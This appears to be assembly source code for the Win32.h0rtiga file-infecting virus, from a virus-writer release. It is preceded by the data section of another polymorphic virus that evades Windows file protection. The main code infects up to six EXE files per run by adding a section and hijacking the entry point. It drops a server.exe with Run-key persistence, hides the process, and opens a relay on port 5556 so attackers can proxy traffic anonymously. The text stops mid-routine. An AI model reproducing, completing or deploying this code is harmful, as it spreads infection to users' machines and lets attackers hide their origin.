;============================================================================

IF_ThreadID dd 00000000h
;============================================================================
;This is used to locate system DLL files and load them without using names,
;only by means of CRC32
;============================================================================

a_SDLL_CRC32 dd 00000000h

szSYSTEMDIR db MAX_PATH dup (00h)

;============================================================================
;TOOLHELP API's (Windows 9x only)
;============================================================================

epTOOLHELPApis equ $

a_CreateToolhelp32Snapshot dd 00000000h
a_Process32First dd 00000000h
a_Process32Next dd 00000000h
a_Module32First dd 00000000h
a_Module32Next dd 00000000h

NumTOOLHELPApis equ ( $-epTOOLHELPApis)/04h

;============================================================================
;PSAPI API's (Windows NT & Windows 2000 only)
;============================================================================

epPSAPIApis equ $

a_EnumProcessModules dd 00000000h
a_EnumProcesses dd 00000000h
a_GetModuleBaseNameA dd 00000000h
a_GetModuleInformation dd 00000000h

NumPSAPIApis equ ($-epPSAPIApis)/04h

hPSAPI dd 00000000h

;============================================================================
;IMAGEHLP APIs used to compute new image checksum
;============================================================================

epIMGHLPApis equ $

a_CheckSumMappedFile dd 00000000h

NumIMGHLPApis equ ($-epIMGHLPApis)/04h

hIMGHLP dd 00000000h

;============================================================================
;SFC APIs used by the virus to avoid Windows 2000 System File Protection
;============================================================================

epSFCApis equ $

a_SfcIsFileProtected dd 00000000h

NumSFCApis equ ($-epSFCApis)/04h

hSFC dd 00000000h
;============================================================================
;USER32 APIs ( The address is for the Ansi version if the target is running
;windows 9x or the Wide version if running windows Nt ) .
;============================================================================

epUSER32Apis equ $

a_DefWindowProc dd 00000000h

NumUSER32Apis equ ($-epUSER32Apis)/04h

hUSER32 dd 00000000h

;============================================================================
;Handles over target files
;============================================================================

h_CreateFile dd 00000000h
h_FileMap dd 00000000h

;============================================================================
;Misc variables
;============================================================================

CurFileAttr dd 00000000h
ChecksumPE dd 00000000h
OldChecksum dd 00000000h
map_is_here dd 00000000h
FileImport dd 00000000h
ImportSH dd 00000000h
inject_offs dd 00000000h
vir_offset dd 00000000h
search_raw dd 00000000h
host_base dd 00000000h
virus_sh dd 00000000h
fix_size dd 00000000h
raw_align dd 00000000h
K32CodeStart dd 00000000h
K32CodeEnd dd 00000000h

;============================================================================
;Poly engine uninitialized data
;============================================================================

CRYPT_DIRECTION equ 01h


CRYPT_CMPCTR equ 02h
CRYPT_CDIR equ 04h
CRYPT_SIMPLEX equ 10h
CRYPT_COMPLEX equ 20h
CRYPT_FOG equ 40h

PtrToCrypt dd 00000000h ;Pointer to area to encrypt


PtrToDecrypt dd 00000000h ;Where to generate polymorphic decryptor
PtrToEP dd 00000000h ;Pointer to code entry-point once decrypted
SizeCrypt dd 00000000h ;Size of area to encrypt
end_value dd 00000000h ;Index end value
loop_point dd 00000000h ;Start address of decryption loop
entry_point dd 00000000h ;Entry point to decryptor code
decryptor_size dd 00000000h ;Size of generated decryptor
disp2disp dd 00000000h ;Displacement over displacement
condition_ptr dd 00000000h ;Pointer to JZ/JNZ instruction at loop end

Xrnd1 dd 00000000h
XrndReg dd 00000000h
XrndFixPtr dd 00000000h
XrndMath dd 00000000h

counter_mask db 00h ;Mask of register used as counter


recursive_level db 00h ;Garbage recursive layer
IsFirst db 00h ;Save registers only on 1st decryptor

fake_field equ $

ptr_disp dd 00000000h ;Displacement from index


fake_ptr_disp dd 00000000h ;...and fake one

crypt_key dd 00000000h ;Encryption key


fake_crypt_key dd 00000000h ;...and fake one

build_flags db 00h ;Some decryptor flags


fake_build_flags db 00h ;...and fake ones

oper_size db 00h ;Size used (1=Byte 2=Word 4=Dword)


fake_oper_size db 00h ;...and fake one

index_mask db 00h ;Mask of register used as index


fake_index_mask db 00h ;...and fake one

TblStdPshP equ $

dd 00000000h
dd 00000000h
dd 00000000h
dd 00000000h

PshPStepIndex dd 00000004h dup (00000000h)

NUM_DA equ 10h

NumberOfDataAreas db 00h

tbl_data_area db NUM_DA*08h dup (00h)

;============================================================================
;SYSTEMTIME structure used by GetLocalTime
;============================================================================

local_time equ $

LT_Year dw 0000h
LT_Month dw 0000h
LT_DayOfWeek dw 0000h
LT_Day dw 0000h
LT_Hour dw 0000h
LT_Minute dw 0000h
LT_Second dw 0000h
LT_Milliseconds dw 0000h

;============================================================================
;A rect structure used in the payload
;============================================================================

WindowRect equ $

WR_left dd 00000000h
WR_top dd 00000000h
WR_right dd 00000000h
WR_bottom dd 00000000h

;============================================================================
;This is a WIN32 FindData structure used to infect files, and some
;auxiliary variables
;============================================================================

FileSizeOnDisk dd 00000000h
FatSize dd 00000000h

FT_CreationTime db 08h dup (00h)


FT_LastAccessTime db 08h dup (00h)
FT_LastWriteTime db 08h dup (00h)

h_Find dd 00000000h
DirectFindData db SIZEOF_WIN32_FIND_DATA dup (00h)

;============================================================================
;Used to retrieve current, windows and system directories
;============================================================================

BufGetDir db MAX_PATH+01h dup (00000000h)

;============================================================================
;Used to get logical drives
;============================================================================

SIZEOF_LDSB equ MAX_PATH

szLogicalDrives db SIZEOF_LDSB dup (00000000h)

;============================================================================
;End of virus image in allocated memory
;============================================================================

alloc_size equ $-viro_sys

virseg ends
end host_code
;
; Win32.h0rtiga Coded by |Zan [@deepzone.org]
;
; ©2000 DeepZone - Digital Security Center
;
; http://www.deepzone.org
;
;----------------------------------------------------------------------------
;
; Win32.Hortiga
;
;
; AVP's description
;
; - http://www.avp.ch/avpve/newexe/win32/hortiga.stm)
;
; It is a nonmemory resident parasitic Win32 virus. It searches
; for PE EXE files (Windows executables), then writes itself to
; the end of the file. To reserve a place for its code the virus
; creates a new section with the ".|Zan" name at the end of the
; file.
;
; The virus has "anonymous IP" ability. That means that a hacker
; may use infected machines as a "proxy server" sending packets
; with infected machine's IP address:
;
; IP1 IP2 IP3
; Hacker's machine -----> Infected machine -----> Target machine
;
; A hacker connects to the infected machine by using his IP
; address (IP1) and forces the infected machine to forward packets
; to the target machine, then infected machine's IP address (IP2) is
; used. Using this mechanism the hacker hides his IP address.
;
; The virus installs its "anonymous" component as stand-alone program
; using the filename SERVER.EXE. That program is created in the
; Windows system directory and registered in the auto-start registry
; key:
;
; HKLM\Software\Microsoft\Windows\CurrentVersion\Run
; h0rtiga Server = "Windir\server.exe"
;
; where "Windir" is the Windows system folder.
;
; The virus contains the text string:
;
; (c) 2000. Win9x.h0rtiga v1.0 Server activated - http://mareasvivas.cjb.net
; Coded by |Zan - izan@galaxycorp.com / izan@deepzone.org
; Who are you???
;
; This string is used as ID-text to connect to the hacker's machine
; with the server on the infected machine.
;
; -- end AVP description
;
;
; Win32.h0rtiga by |Zan
;
; h0rtiga is a simple non resident parasite. It wasn't developed
; like a traditional viruse but it finished infecting win32 machines.
;
; Originally it was proof of concept code showing win9x's risks and
; holes in a spanish whitepaper called "Win32.h0rtiga : Anonimato e
; Intrusión ".
;
; When extra code was added to patch PE files inoculating h0rtiga code
; in arbitrary files it became a virus ...
;
; h0rtiga infects adding an extra section/object called ".|Zan". It
; can infect under win9x/NT/2k but its payload only play in win9x.
;
; This runtime infector doesn't implement "modern" features like stealth,
; encryptation or polymorphism but if "classic" features like timestamp
; or file attributes.
;
; Infecting with an extra section is "hard" and it had been more
; easy adding viral code to last section but i wanted a clear, fast
; and easy uninfection so i decided the longest, primitive & hard way to
; implement.
;
; h0rtiga payload plays a single server listening on 5556 port. This
; server lets full arbitrary relay and can be handle with a generic
; h0rtiga's client. yes, that's ... now you can imagine black hats
; exploiting infected win9x machines: anonymous surfing, faking e-mails,
; bypassing IRC bans ...
;
; Code contains clear labels and a lot of EQUs and structures documenting
; viral code ...
;
;
; greetings ...
; -------------
;
; spanish sec/hack groups, ADM, beavuh, b0f, non-commercial groups ...
;
; ... and, of course VLAD & 29A
;
; i'd like to give special thanks to Bumblebee/29A (fantastic VXer).
;
; I hope that h0rtiga can be a good contribution to this fantastic 29A
; release ;)
;
;
; deep greets
; -----------
;
; ^Anuska^> If you hit one time this key we'll hack this enterprise ...
; if you hit two times we'll hack their networks ... sorry
; mouse support isn't available ;)
;
; TheWizard> Win ME is the new msoft OS version ... I hope that now it
; can handle windows ;)
;
; Nemo> next step ... mmmm ... i don't know ... hack the fix again ?
;
;
; Special greetings ...
; ---------------------
;
; Win32.h0rtiga is dedicated to Sandra ...
;
;

;----------------------------------------------------------------------------
; Win32.h0rtiga - begin virus code (w32h0rtiga.asm)
;----------------------------------------------------------------------------

;------------------------------------------------------------
;Compiler options
;------------------------------------------------------------

.386P
locals
jumps
.model flat,STDCALL

;------------------------------------------------------------
;Just to show a message on virus 1st generation
;------------------------------------------------------------

extrn MessageBoxA:PROC
extrn GetModuleHandleA:PROC
extrn ExitProcess:PROC

;----------------------------------------------------------------------------
;Data Section
;----------------------------------------------------------------------------

.data

db 0

;----------------------------------------------------------------------------
;Code Section
;----------------------------------------------------------------------------

.code

start:

;------------------------------------------------------------
;h0rtiga main
;------------------------------------------------------------

mov eax, [esp]


gKerloop: xor edx, edx
dec eax
mov dx, [eax+3ch]
test dx, 0f800h
jnz gKerloop
cmp eax, [eax+edx+34h]
jnz gKerloop
call gdelta
gdelta: pop ebp
sub ebp, offset gdelta
lea edi, ebp + kernel
stosd
lea esi, ebp + sz_mGetProcAddr
call GetAPIExpK32
lea edi, ebp + ddGetProcAddress
stosd
lea esi, ebp + sz_mLoadLibraryA
call GetAPIExpK32
lea edi, ebp + ddLoadLibraryA
stosd
lea esi, ebp + sz_mKernel32
lea edi, ebp + addr_apis
mov ebx, NumAPISK32
call MakeTabla
lea esi, ebp + OSVersionInfo.dwOSVersionInfoSize
push SIZEOF_OSVERSIONINFO
pop ecx
xor al, al
delit: stosb
loop delit
lea edi, ebp + OSVersionInfo.dwOSVersionInfoSize
mov eax, SIZEOF_OSVERSIONINFO ; 148
stosd
sub edi, 4
push edi
call dword ptr [ebp + ddGetVersionExA]
test eax, eax
jz salir
cmp ebp + OSVersionInfo.dwPlatformId, VER_PLATFORM_WIN32_WINDOWS
jnz salir
call InsertaServidor
call BuscaHostToInfect
cmp eax, INVALID_HANDLE_VALUE
jz salir
xchg eax, ebx
InfectaMas: call InfecIt
call ContinuaBusqueda
test eax, eax
jnz InfectaMas
call TerminaBusqueda
salir: lea esi, ebp + OldEntryPointRVA
lodsd
xchg ebx, eax
push 0
call dword ptr [ebp + ddGetModuleHandleA]
add eax, ebx
jmp eax

;------------------------------------------------------------
;begin h0rtiga data
;------------------------------------------------------------

FILETIME STRUC
FT_dwLowDateTime DD ?
FT_dwHighDateTime DD ?
FILETIME ENDS

MAX_PATH EQU 260

WIN32_FIND_DATA STRUC
WFD_dwFileAttributes DD ?
WFD_ftCreationTime FILETIME ?
WFD_ftLastAccessTime FILETIME ?
WFD_ftLastWriteTime FILETIME ?
WFD_nFileSizeHigh DD ?
WFD_nFileSizeLow DD ?
WFD_dwReserved0 DD ?
WFD_dwReserved1 DD ?
WFD_szFileName DB MAX_PATH DUP (?)
WFD_szAlternateFileName DB 13 DUP (?)
DB 3 DUP (?)
WIN32_FIND_DATA ENDS
SIZEOF_WIN32_FIND_DATA EQU SIZE WIN32_FIND_DATA

INVALID_HANDLE_VALUE EQU -1
VER_PLATFORM_WIN32_WINDOWS EQU 1

_OSVERSIONINFO STRUCT
dwOSVersionInfoSize DD ?
dwMajorVersion DD ?
dwMinorVersion DD ?
dwBuildNumber DD ?
dwPlatformId DD ?
szCSDVersion DB 128 DUP (?)
_OSVERSIONINFO ENDS

SIZEOF_OSVERSIONINFO EQU SIZE _OSVERSIONINFO

sz_mGetProcAddr db 'GetProcAddress', 0
ddGetProcAddress dd ?

sz_mLoadLibraryA db 'LoadLibraryA', 0
ddLoadLibraryA dd ?

kernel dd ?
Counter dw ?
AddressTableVA dd ?
OrdinalTableVA dd ?

NumAPISK32 equ 21
sz_mKernel32 db 'KERNEL32', 0
TablaK32 db 'ExitProcess', 0
db 'GetVersionExA', 0
db 'FindFirstFileA', 0
db 'FindNextFileA', 0
db 'FindClose', 0
db 'CreateFileA', 0
db 'CreateFileMappingA', 0
db 'MapViewOfFile', 0
db 'UnmapViewOfFile', 0
db 'CloseHandle', 0
db 'SetFileAttributesA', 0
db 'SetFileTime', 0
db 'GetModuleHandleA', 0
db 'GetCommandLineA', 0
db 'GetSystemDirectoryA', 0
db 'ReadFile', 0
db 'WriteFile', 0
db 'SetFilePointer', 0
db 'GetCurrentProcessId', 0
db 'RegisterServiceProcess', 0
db 'GlobalAlloc', 0
addr_apis:
ddExitProcess dd ?
ddGetVersionExA dd ?
ddFindFirstFileA dd ?
ddFindNextFileA dd ?
ddFindClose dd ?
ddCreateFileA dd ?
ddCreateFileMappingA dd ?
ddMapViewOfFile dd ?
ddUnmapViewOfFile dd ?
ddCloseHandle dd ?
ddSetFileAttributesA dd ?
ddSetFileTime dd ?
ddGetModuleHandleA dd ?
ddGetCommandLineA dd ?
ddGetSystemDirectoryA dd ?
ddReadFile dd ?
ddWriteFile dd ?
ddSetFilePointer dd ?
ddGetCurrentProcessId dd ?
ddRegisterServiceProcess dd ?
ddGlobalAlloc dd ?

OSVersionInfo _OSVERSIONINFO ?

_maskExe db '*.EXE' , 0

MaxInfeccion equ 6

WinFindData WIN32_FIND_DATA ?

hFicActual dd ?
hCMapActual dd ?

newobject:
oname db ".|Zan", 0, 0, 0
virtualsize dd 0
RVA dd 0
physicalsize dd 0
physicaloffset dd 0
reserved dd 0, 0, 0
objectflags dd 0e0000060h

SIZEOF_NEWOBJECT EQU 28h

ObjectTableOffset dd ?
NumObjects dw ?
ObjectAlign dd ?
FileAlign dd ?
ImageSize dd ?
SizeToMap dd ?
OldEntryPointRVA dd ?

hRead dd ?
hWrite dd ?
bytes_rw dd ?
sz_exec db 260 dup (?)
sz_nserver db '\server.exe', 0

addr1 dw 2
dw 0b415h
dd ?
addr2 dw 2
dw 0000h
db 192,168,0,1
sock1 dd ?
sock2 dd ?
gotit dd ?
buffsz equ 4096
adrbuff dd ?
fd_set1 dd 1,0
fd_set2 dd 1,0
fd_set struc
no dd 0
sockh dd 0
fd_set ends
ttl dd 0,64h
semaforo db 0
countbouncer db 0

msgentryserver db '(c) 2000. Win9x.h0rtiga v1.0 Server activated -


http://mareasvivas.cjb.net', 13, 10
db 'Coded by |Zan - izan@galaxycorp.com / izan@deepzone.org', 13,
10, 13, 10
db 'Who are you ???', 13, 10

msgentryserverlen equ $-msgentryserver

NumAPISW32 equ 10
sz_mW32 db 'WSOCK32', 0
TablaW32 db 'WSAStartup', 0
db 'socket', 0
db 'bind', 0
db 'listen', 0
db 'accept', 0
db 'connect', 0
db 'send', 0
db 'recv', 0
db 'select', 0
db 'closesocket', 0
addr_apis2:
ddWSAStartup dd ?
ddsocket dd ?
ddbind dd ?
ddlisten dd ?
ddaccept dd ?
ddconnect dd ?
ddsend dd ?
ddrecv dd ?
ddselect dd ?
ddclosesocket dd ?

NumAPISAdv32 equ 3
sz_mAdv32 db 'ADVAPI32', 0
TablaAdv32 db 'RegCreateKeyExA', 0
db 'RegSetValueExA', 0
db 'RegCloseKey', 0
addr_apis3:
ddRegCreateKeyExA dd ?
ddRegSetValueExA dd ?
ddRegCloseKey dd ?

disposition dd ?
KeyHandle dd ?
clase db 'Run', 0
claselen equ $-clase
subkey db 'Software\Microsoft\Windows\CurrentVersion\Run', 0

KeyValuelen dd ?
KeyName db 'h0rtiga Server', 0

;------------------------------------------------------------
;end h0rtiga data
;------------------------------------------------------------
GetAPIExpK32: mov edx, esi
@_1: cmp byte ptr [esi], 0
jz @_2
inc esi
jmp @_1
@_2: inc esi
sub esi, edx
mov ecx, esi
xor eax, eax
mov word ptr [ebp + Counter], ax
mov esi, [ebp + kernel]
add esi, 3Ch
lodsw
add eax, [ebp + kernel]
mov esi, [eax + 78h]
add esi, [ebp + kernel]
add esi, 1Ch
lodsd
add eax, [ebp + kernel]
mov dword ptr [ebp + AddressTableVA], eax
lodsd
add eax, [ebp + kernel]
push eax
lodsd
add eax, [ebp + kernel]
mov dword ptr [ebp + OrdinalTableVA], eax
pop esi
@_3: push esi
lodsd
add eax, [ebp + kernel]
mov esi,eax
mov edi,edx
push ecx
cld
rep cmpsb
pop ecx
jz @_4
pop esi
add esi,4
inc word ptr [ebp + Counter]
jmp @_3
@_4: pop esi
movzx eax, word ptr [ebp + Counter]
shl eax,1
add eax,dword ptr [ebp + OrdinalTableVA]
xor esi,esi
xchg eax,esi
lodsw
shl eax,2
add eax,dword ptr [ebp + AddressTableVA]
mov esi,eax
lodsd
add eax, [ebp + kernel]
ret
MakeTabla: push esi
call dword ptr [ebp + ddLoadLibraryA]
push ebx
pop ecx
push eax
pop ebx
buki: lodsb
test al, al
jnz buki
MT1: push ecx
push esi
push ebx
call dword ptr [ebp + ddGetProcAddress]
push eax
MT2: lodsb
test al, al
jnz MT2
pop eax
stosd
pop ecx
loop MT1
ret
BuscaHostToInfect:
lea edi, ebp + Counter
xor ax, ax
stosw
lea esi, ebp + WinFindData
push esi
lea esi, ebp + _maskExe
push esi
call dword ptr [ebp + ddFindFirstFileA]
ret

InfecIt: push ebx


lea esi, ebp + WinFindData.WFD_szFileName
call EsInfectable
cmp eax, -1
jz II_error
call EliminaAtributosFichero
test eax, eax
jz II_error
lea esi, ebp + WinFindData.WFD_szFileName
push dword ptr [ebp + SizeToMap]
pop ebx
call Open&Maped_File_RW
cmp eax, -1
jz II_error
push eax
pop ebx
add eax, [ebx + 3ch]
push eax
pop edx
lea edi, ebp + ImageSize
mov eax, dword ptr [edx + 50h]
stosd
lea edi, ebp + NumObjects
mov ax, word ptr [edx + 6h]
stosw
lea edi, ebp + ObjectAlign
mov eax, dword ptr [edx + 38h]
stosd
mov eax, dword ptr [edx + 3ch]
stosd
xor eax, eax
add ax, word ptr [edx + 14h]
add eax, 18h
add eax, [ebx + 3ch]
add eax, ebx
mov dword ptr [ebp + ObjectTableOffset], eax
push eax
pop esi
xor eax, eax
mov ax, word ptr [ebp + NumObjects]
push SIZEOF_NEWOBJECT
pop ecx
xor edx, edx
mul ecx
add esi, eax
inc word ptr [ebp + NumObjects]
push esi
pop edi
mov eax, [edi - SIZEOF_NEWOBJECT + 8]
add eax, [edi - SIZEOF_NEWOBJECT + 12]
mov ecx, dword ptr [ebp + ObjectAlign]
xor edx, edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp + RVA], eax
mov ecx, dword ptr [ebp + FileAlign]
push virlenght
pop eax
xor edx, edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp + physicalsize], eax
mov ecx, dword ptr [ebp + ObjectAlign]
push virlenght
pop eax
xor edx, edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp + virtualsize], eax
mov eax, [edi - SIZEOF_NEWOBJECT + 20]
add eax, [edi - SIZEOF_NEWOBJECT + 16]
mov ecx, dword ptr [ebp + FileAlign]
xor edx, edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp + physicaloffset], eax
push virlenght
pop eax
add eax, dword ptr [ebp + ImageSize]
mov ecx, dword ptr [ebp + ObjectAlign]
xor edx, edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp + ImageSize], eax
lea esi, ebp + newobject
mov ecx, 10
rep movsd
lea esi, ebp + NumObjects
mov edx, [ebx + 3ch]
add edx, ebx
lea edi, [edx + 6h]
movsw
lea esi, ebp + ImageSize
lea edi, [edx + 50h]
movsd
mov eax, dword ptr [ebp + OldEntryPointRVA]
push eax
push ebx
pop edx
add edx, [ebx + 3ch]
mov eax, dword ptr [edx + 28h]
lea edi, ebp + OldEntryPointRVA
stosd
mov eax, dword ptr [ebp + RVA]
mov dword ptr [edx + 28h], eax
lea esi, ebp + start
mov eax, dword ptr [ebp + physicaloffset]
add eax, ebx
xchg eax, edi
mov ecx, virlenght
rep movsb
pop eax
mov dword ptr [ebp + OldEntryPointRVA], eax
mov word ptr [edx + 4ch], 0d00dh
add ebp + Counter, 1
xchg eax, ebx
call Close&UnMaped_File_RW
call RestauraAtributosFichero
test eax, eax
jz II_error
II_error: pop ebx
ret

ContinuaBusqueda:
cmp [ebp + Counter], MaxInfeccion
jz CB_end
lea esi, ebp + WinFindData
push esi
push ebx
call dword ptr [ebp + ddFindNextFileA]
ret
CB_end: xor eax, eax
ret

TerminaBusqueda:
push ebx
call dword ptr [ebp + ddFindClose]
ret

Open&Maped_File_RW:
push 0
push 0
push 3h
push 0
push 0
push 80000000h or 40000000h
push esi
call dword ptr [ebp + ddCreateFileA]
cmp eax, -1
jz OMF_error
lea edi, ebp + hFicActual
stosd
push 0
push ebx
push 0
push 4h
push 0
push eax
call dword ptr [ebp + ddCreateFileMappingA]
test eax, eax
jz OMF_error
lea edi, ebp + hCMapActual
stosd
push ebx
push 0
push 0
push 2h
push eax
call dword ptr [ebp + ddMapViewOfFile]
test eax, eax
jz OMF_error
ret
OMF_error: push -1
pop eax
ret

Close&UnMaped_File_RW:
push eax
call dword ptr [ebp + ddUnmapViewOfFile]
test eax, eax
jz CUF_error
lea esi, ebp + WinFindData.WFD_ftLastWriteTime
push esi
lea esi, ebp + WinFindData.WFD_ftLastAccessTime
push esi
lea esi, ebp + WinFindData.WFD_ftCreationTime
push esi
lea esi, ebp + hFicActual
lodsd
push eax
call dword ptr [ebp + ddSetFileTime]
lea esi, ebp + hCMapActual
lodsd
push eax
call dword ptr [ebp + ddCloseHandle]
lea esi, ebp + hFicActual
lodsd
push eax
call dword ptr [ebp + ddCloseHandle]
test eax, eax
jz CUF_error
xor eax, eax
ret
CUF_error: push -1
pop eax
ret

EliminaAtributosFichero:
push 80h
lea esi, ebp + WinFindData.WFD_szFileName
push esi
call dword ptr [ebp + ddSetFileAttributesA]
ret

RestauraAtributosFichero:
lea esi, ebp + WinFindData.WFD_dwFileAttributes
lodsd
push eax
lea esi, ebp + WinFindData.WFD_szFileName
push esi
call dword ptr [ebp + ddSetFileAttributesA]
ret
EsInfectable:
push 0
push 0
push 3h
push 0
push 0
push 80000000h
push esi
call dword ptr [ebp + ddCreateFileA]
cmp eax, -1
jz OMFR_error
lea edi, ebp + hFicActual
stosd
push 0
push 0
push 0
push 2h
push 0
push eax
call dword ptr [ebp + ddCreateFileMappingA]
test eax, eax
jz OMFR_error
lea edi, ebp + hCMapActual
stosd
push 0
push 0
push 0
push 4h
push eax
call dword ptr [ebp + ddMapViewOfFile]
test eax, eax
jz OMFR_error
push eax
push eax
pop edx
add eax, [edx + 3ch]
cmp word ptr [edx], 'ZM'
jnz NoInfect
cmp word ptr [eax], 'EP'
jnz NoInfect
cmp word ptr [eax + 4ch], 0d00dh
jnz SiInfect
NoInfect: push -1
pop ebx
jmp SNInfect
SiInfect: call CalculaSizeToMap
SNInfect: call dword ptr [ebp + ddUnmapViewOfFile]
test eax, eax
jz OMFR_error
lea esi, ebp + hCMapActual
lodsd
push eax
call dword ptr [ebp + ddCloseHandle]
test eax, eax
jz OMFR_error
lea esi, ebp + hFicActual
lodsd
push eax
call dword ptr [ebp + ddCloseHandle]
test eax, eax
jz OMFR_error
xchg ebx, eax
ret
OMFR_error: push -1
pop eax
ret

CalculaSizeToMap:
push eax
pop ebx
xchg ebx, edx
xor eax, eax
mov ax, word ptr [edx + 6h]
mov word ptr [ebp + NumObjects], ax
xor eax, eax
add ax, word ptr [edx + 14h]
add eax, 18h
add eax, edx
mov dword ptr [ebp + ObjectTableOffset], eax
push eax
pop esi
xor eax, eax
mov ax, word ptr [ebp + NumObjects]
push SIZEOF_NEWOBJECT
pop ecx
xor edx, edx
mul ecx
add esi, eax
xor edx, edx
add edx, [ebx + 3ch]
add edx, ebx
lea edi, ebp + FileAlign
mov eax, dword ptr [edx + 3ch]
stosd
mov ecx, dword ptr [ebp + FileAlign]
push virlenght
pop eax
xor edx, edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp + physicalsize], eax
mov eax, [esi - SIZEOF_NEWOBJECT + 20]
add eax, [esi - SIZEOF_NEWOBJECT + 16]
mov ecx, dword ptr [ebp + FileAlign]
xor edx, edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp + physicaloffset], eax
xchg ebx, eax
lea esi, ebp + physicalsize
lodsd
add ebx, eax
mov dword ptr [ebp + SizeToMap], ebx
ret

InsertaRegistro:
lea esi, ebp + sz_mAdv32
lea edi, ebp + addr_apis3
mov ebx, NumAPISAdv32
call MakeTabla
lea esi, ebp + disposition
push esi
add esi, 4
push esi
push 0
push 0f003fh
push 0
add esi, 4
push esi
push 0
add esi, claselen
push esi
push 80000002h
call dword ptr [ebp + ddRegCreateKeyExA]
test eax, eax
jnz reg_error
lea esi, ebp + KeyHandle
lodsd
xchg eax, ebx
push dword ptr [ebp + KeyValuelen]
lea esi, ebp + sz_exec
push esi
push 1h
push 0
lea esi, ebp + KeyName
push esi
push ebx
call dword ptr [ebp + ddRegSetValueExA]
test eax, eax
jnz reg_error
push ebx
call dword ptr [ebp + ddRegCloseKey]
reg_error: ret

InsertaServidor:
call dword ptr [ebp + ddGetCommandLineA]
push eax
pop esi
lea edi, ebp + sz_exec
ot_bmas: lodsb
stosb
test al, al
jnz ot_bmas
push 0
push 00000080h
push 3
push 0
push 00000001h
push 80000000h
lea esi, ebp + sz_exec
push esi
call dword ptr [ebp + ddCreateFileA]
cmp eax, -1
jz errorEx
mov dword ptr [ebp + hRead], eax
push 260
lea ebx, ebp + sz_exec
push ebx
call dword ptr [ebp + ddGetSystemDirectoryA]
test eax, eax
jz errorEx
add eax, ebx
xchg eax, edi
lea esi, ebp + sz_nserver
ot_bmas2: lodsb
stosb
test al, al
jnz ot_bmas2
mov dword ptr [ebp + KeyValuelen], 0
lea esi, ebp + sz_exec
calclenstr: lodsb
inc dword ptr [ebp + KeyValuelen]
test al, al
jnz calclenstr
call InsertaRegistro
push 0
push 00000080h
push 1
push 0
push 0h
push 40000000h
lea esi, ebp + sz_exec
push esi
call dword ptr [ebp + ddCreateFileA]
cmp eax, -1
jz errorEx
mov dword ptr [ebp + hWrite], eax
read_again: xor eax, eax
push eax
lea edi, ebp + bytes_rw
push edi
stosd
push 260
lea esi, ebp + sz_exec
push esi
lea esi, ebp + hRead
lodsd
push eax
call dword ptr [ebp + ddReadFile]
test eax, eax
jz errorEx
lea esi, ebp + bytes_rw
lodsd
test eax, eax
jz fdf
xchg eax, ebx
xor eax, eax
push eax
lea edi, ebp + bytes_rw
push edi
stosd
push ebx
lea esi, ebp + sz_exec
push esi
lea esi, ebp + hWrite
lodsd
push eax
call dword ptr [ebp + ddWriteFile]
test eax, eax
jnz read_again
jz errorEx
fdf: push 0
push 0
push 3ch
lea esi, ebp + hRead
lodsd
push eax
call dword ptr [ebp + ddSetFilePointer]
xor eax, eax
push eax
lea edi, ebp + bytes_rw
push edi
stosd
push 4
lea esi, ebp + sz_exec
push esi
lea esi, ebp + hRead
lodsd
push eax
call dword ptr [ebp + ddReadFile]
push 0
push 0
lea esi, ebp + sz_exec
lodsd
add eax, 40
push eax
push eax
pop ebx
lea esi, ebp + hRead
lodsd
push eax
call dword ptr [ebp + ddSetFilePointer]
xor eax, eax
push eax
lea edi, ebp + bytes_rw
push edi
stosd
push 4
lea esi, ebp + sz_exec
push esi
lea esi, ebp + hRead
lodsd
push eax
call dword ptr [ebp + ddReadFile]
lea esi, ebp + sz_exec
lodsd
add eax, offsServer
push 0
push 0
push ebx
push eax
pop ebx
lea esi, ebp + hWrite
lodsd
push eax
call dword ptr [ebp + ddSetFilePointer]
push ebx
pop eax
lea edi, ebp + sz_exec
stosd
xor eax, eax
push eax
lea edi, ebp + bytes_rw
push edi
stosd
push 4
lea esi, ebp + sz_exec
push esi
lea esi, ebp + hWrite
lodsd
push eax
call dword ptr [ebp + ddWriteFile]
push 0
push 0
push 3ch
lea esi, ebp + hRead
lodsd
push eax
call dword ptr [ebp + ddSetFilePointer]
xor eax, eax
push eax
lea edi, ebp + bytes_rw
push edi
stosd
push 4
lea esi, ebp + sz_exec
push esi
lea esi, ebp + hRead
lodsd
push eax
call dword ptr [ebp + ddReadFile]
push 0
push 0
lea esi, ebp + sz_exec
lodsd
add eax, 92
push eax
push eax
pop ebx
lea esi, ebp + hRead
lodsd
push eax
call dword ptr [ebp + ddSetFilePointer]
push 0
push 0
push ebx
push eax
pop ebx
lea esi, ebp + hWrite
lodsd
push eax
call dword ptr [ebp + ddSetFilePointer]
push 2
pop eax
lea edi, ebp + sz_exec
stosd
xor eax, eax
push eax
lea edi, ebp + bytes_rw
push edi
stosd
push 2
lea esi, ebp + sz_exec
push esi
lea esi, ebp + hWrite
lodsd
push eax
call dword ptr [ebp + ddWriteFile]
lea esi, ebp + hRead
push esi
call dword ptr [ebp + ddCloseHandle]
test eax, eax
jz errorEx
lea esi, ebp + hWrite
push esi
call dword ptr [ebp + ddCloseHandle]
errorEx: ret
error: push 0
call dword ptr [ebp + ddExitProcess]

offsServer equ $-start

server: mov eax, [esp]


gKerloop2: xor edx, edx
dec eax
mov dx, [eax + 3ch]
test dx, 0f800h
jnz gKerloop2
cmp eax, [eax + edx + 34h]
jnz gKerloop2
call gdelta2
gdelta2: pop ebp
sub ebp, offset gdelta2
lea edi, ebp + kernel
stosd
lea esi, ebp + sz_mGetProcAddr
call GetAPIExpK32
lea edi, ebp + ddGetProcAddress
stosd
lea esi, ebp + sz_mLoadLibraryA
call GetAPIExpK32
lea edi, ebp + ddLoadLibraryA
stosd
lea esi, ebp + sz_mKernel32
lea edi, ebp + addr_apis
mov ebx, NumAPISK32
call MakeTabla
lea esi, ebp + sz_mW32
lea edi, ebp + addr_apis2
mov ebx, NumAPISW32
call MakeTabla
call dword ptr [ebp + ddGetCurrentProcessId]
push 1
push eax
call dword ptr [ebp + ddRegisterServiceProcess]
push buffsz
push 0
call dword ptr [ebp + ddGlobalAlloc]
cmp eax, -1
je error
mov dword ptr [ebp + adrbuff], eax
push eax
push 101h
call dword ptr [ebp + ddWSAStartup]
push 6
push 1
push 2
call dword ptr [ebp + ddsocket]
